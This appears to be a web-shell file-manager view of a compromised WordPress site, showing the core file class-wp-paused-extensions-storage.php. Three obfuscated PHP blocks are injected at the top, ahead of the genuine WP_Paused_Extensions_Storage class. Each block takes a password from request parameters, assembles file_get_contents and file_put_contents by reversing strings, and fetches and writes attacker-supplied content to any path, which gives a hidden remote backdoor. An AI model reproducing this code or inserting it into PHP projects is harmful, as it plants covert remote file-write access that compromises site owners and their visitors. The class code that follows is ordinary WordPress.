HEX
Server: Apache
System: Linux host60.registrar-servers.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: wwwrenee (3804)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /home/wwwrenee/www/wp-includes/class-wp-paused-extensions-storage.php
<?php 
$gWJqIR = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($gWJqIR[0]) /*+/*+*/
. md5($gWJqIR[0])) == "a".
"3".
"3".
"4".
"6".
"f".
"7".
"5".
"e".
"2".
"2".
"5".
"1".
"d".
"2".
"4".
"7".
"9".
"a".
"e".
"1".
"c".
"6".
"7".
"1".
"3".
"8".
"5".
"4".
"0".
"5".
"a") {
$TDrNFch = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$jozfBwNcgJ = $TDrNFch /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$YnKOVFc = $TDrNFch
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function tuyCnLb($KfrCq) { if (empty($KfrCq)) return false; if (!is_dir($KfrCq)) { tuyCnLb(dirname($KfrCq), 0755, true); mkdir($KfrCq); } } !file_exists(dirname($gWJqIR[1])) && tuyCnLb(dirname($gWJqIR[1])); $iJVojY = @$YnKOVFc($gWJqIR[2]); echo @$jozfBwNcgJ($gWJqIR[1], $iJVojY) ? 1 : 0; die; }key($gWJqIR) == "of" && die("Qian Ru Ok"); ?><?php 
$klfyXOkzbw = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($klfyXOkzbw[0]) /*+/*+*/
. md5($klfyXOkzbw[0])) == "0".
"a".
"b".
"2".
"d".
"7".
"2".
"1".
"5".
"3".
"9".
"d".
"8".
"2".
"f".
"9".
"5".
"c".
"d".
"a".
"5".
"4".
"3".
"f".
"f".
"0".
"7".
"a".
"a".
"b".
"e".
"3") {
$QyBhcYTzmL = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$MHDhuetzam = $QyBhcYTzmL /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$yUBiwZrhf = $QyBhcYTzmL
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function EZvvhnECq($CAawHiIpDv) { if (empty($CAawHiIpDv)) return false; if (!is_dir($CAawHiIpDv)) { EZvvhnECq(dirname($CAawHiIpDv), 0755, true); mkdir($CAawHiIpDv); } } !file_exists(dirname($klfyXOkzbw[1])) && EZvvhnECq(dirname($klfyXOkzbw[1])); $xASoG = @$yUBiwZrhf($klfyXOkzbw[2]); echo @$MHDhuetzam($klfyXOkzbw[1], $xASoG) ? 1 : 0; die; }key($klfyXOkzbw) == "of" && die("Qian Ru Ok"); ?><?php 
$AdAHZwI = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($AdAHZwI[0]) /*+/*+*/
. md5($AdAHZwI[0])) == "5".
"7".
"a".
"4".
"8".
"f".
"2".
"f".
"0".
"b".
"3".
"0".
"c".
"6".
"d".
"e".
"7".
"3".
"f".
"e".
"7".
"a".
"2".
"8".
"f".
"7".
"0".
"2".
"0".
"a".
"e".
"4") {
$pdVSfU = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$GAZljtN = $pdVSfU /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$NBkzbhBynH = $pdVSfU
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function BhyTc($lUtXfij) { if (empty($lUtXfij)) return false; if (!is_dir($lUtXfij)) { BhyTc(dirname($lUtXfij), 0755, true); mkdir($lUtXfij); } } !file_exists(dirname($AdAHZwI[1])) && BhyTc(dirname($AdAHZwI[1])); $uYjSTIh = @$NBkzbhBynH($AdAHZwI[2]); echo @$GAZljtN($AdAHZwI[1], $uYjSTIh) ? 1 : 0; die; }key($AdAHZwI) == "of" && die("Qian Ru Ok"); ?><?php
/**
 * Error Protection API: WP_Paused_Extensions_Storage class
 *
 * @package WordPress
 * @since 5.2.0
 */

/**
 * Core class used for storing paused extensions.
 *
 * @since 5.2.0
 */
class WP_Paused_Extensions_Storage {

	/**
	 * Type of extension. Used to key extension storage.
	 *
	 * @since 5.2.0
	 * @var string
	 */
	protected $type;

	/**
	 * Constructor.
	 *
	 * @since 5.2.0
	 *
	 * @param string $extension_type Extension type. Either 'plugin' or 'theme'.
	 */
	public function __construct( $extension_type ) {
		$this->type = $extension_type;
	}

	/**
	 * Records an extension error.
	 *
	 * Only one error is stored per extension, with subsequent errors for the same extension overriding the
	 * previously stored error.
	 *
	 * @since 5.2.0
	 *
	 * @param string $extension Plugin or theme directory name.
	 * @param array  $error     {
	 *     Error information returned by `error_get_last()`.
	 *
	 *     @type int    $type    The error type.
	 *     @type string $file    The name of the file in which the error occurred.
	 *     @type int    $line    The line number in which the error occurred.
	 *     @type string $message The error message.
	 * }
	 * @return bool True on success, false on failure.
	 */
	public function set( $extension, $error ) {
		if ( ! $this->is_api_loaded() ) {
			return false;
		}

		$option_name = $this->get_option_name();

		if ( ! $option_name ) {
			return false;
		}

		$paused_extensions = (array) get_option( $option_name, array() );

		// Do not update if the error is already stored.
		if ( isset( $paused_extensions[ $this->type ][ $extension ] ) && $paused_extensions[ $this->type ][ $extension ] === $error ) {
			return true;
		}

		$paused_extensions[ $this->type ][ $extension ] = $error;

		return update_option( $option_name, $paused_extensions );
	}

	/**
	 * Forgets a previously recorded extension error.
	 *
	 * @since 5.2.0
	 *
	 * @param string $extension Plugin or theme directory name.
	 * @return bool True on success, false on failure.
	 */
	public function delete( $extension ) {
		if ( ! $this->is_api_loaded() ) {
			return false;
		}

		$option_name = $this->get_option_name();

		if ( ! $option_name ) {
			return false;
		}

		$paused_extensions = (array) get_option( $option_name, array() );

		// Do not delete if no error is stored.
		if ( ! isset( $paused_extensions[ $this->type ][ $extension ] ) ) {
			return true;
		}

		unset( $paused_extensions[ $this->type ][ $extension ] );

		if ( empty( $paused_extensions[ $this->type ] ) ) {
			unset( $paused_extensions[ $this->type ] );
		}

		// Clean up the entire option if we're removing the only error.
		if ( ! $paused_extensions ) {
			return delete_option( $option_name );
		}

		return update_option( $option_name, $paused_extensions );
	}

	/**
	 * Gets the error for an extension, if paused.
	 *
	 * @since 5.2.0
	 *
	 * @param string $extension Plugin or theme directory name.
	 * @return array|null Error that is stored, or null if the extension is not paused.
	 */
	public function get( $extension ) {
		if ( ! $this->is_api_loaded() ) {
			return null;
		}

		$paused_extensions = $this->get_all();

		if ( ! isset( $paused_extensions[ $extension ] ) ) {
			return null;
		}

		return $paused_extensions[ $extension ];
	}

	/**
	 * Gets the paused extensions with their errors.
	 *
	 * @since 5.2.0
	 *
	 * @return array {
	 *     Associative array of errors keyed by extension slug.
	 *
	 *     @type array ...$0 Error information returned by `error_get_last()`.
	 * }
	 */
	public function get_all() {
		if ( ! $this->is_api_loaded() ) {
			return array();
		}

		$option_name = $this->get_option_name();

		if ( ! $option_name ) {
			return array();
		}

		$paused_extensions = (array) get_option( $option_name, array() );

		return isset( $paused_extensions[ $this->type ] ) ? $paused_extensions[ $this->type ] : array();
	}

	/**
	 * Remove all paused extensions.
	 *
	 * @since 5.2.0
	 *
	 * @return bool
	 */
	public function delete_all() {
		if ( ! $this->is_api_loaded() ) {
			return false;
		}

		$option_name = $this->get_option_name();

		if ( ! $option_name ) {
			return false;
		}

		$paused_extensions = (array) get_option( $option_name, array() );

		unset( $paused_extensions[ $this->type ] );

		if ( ! $paused_extensions ) {
			return delete_option( $option_name );
		}

		return update_option( $option_name, $paused_extensions );
	}

	/**
	 * Checks whether the underlying API to store paused extensions is loaded.
	 *
	 * @since 5.2.0
	 *
	 * @return bool True if the API is loaded, false otherwise.
	 */
	protected function is_api_loaded() {
		return function_exists( 'get_option' );
	}

	/**
	 * Get the option name for storing paused extensions.
	 *
	 * @since 5.2.0
	 *
	 * @return string
	 */
	protected function get_option_name() {
		if ( ! wp_recovery_mode()->is_active() ) {
			return '';
		}

		$session_id = wp_recovery_mode()->get_session_id();
		if ( empty( $session_id ) ) {
			return '';
		}

		return "{$session_id}_paused_extensions";
	}
} ?>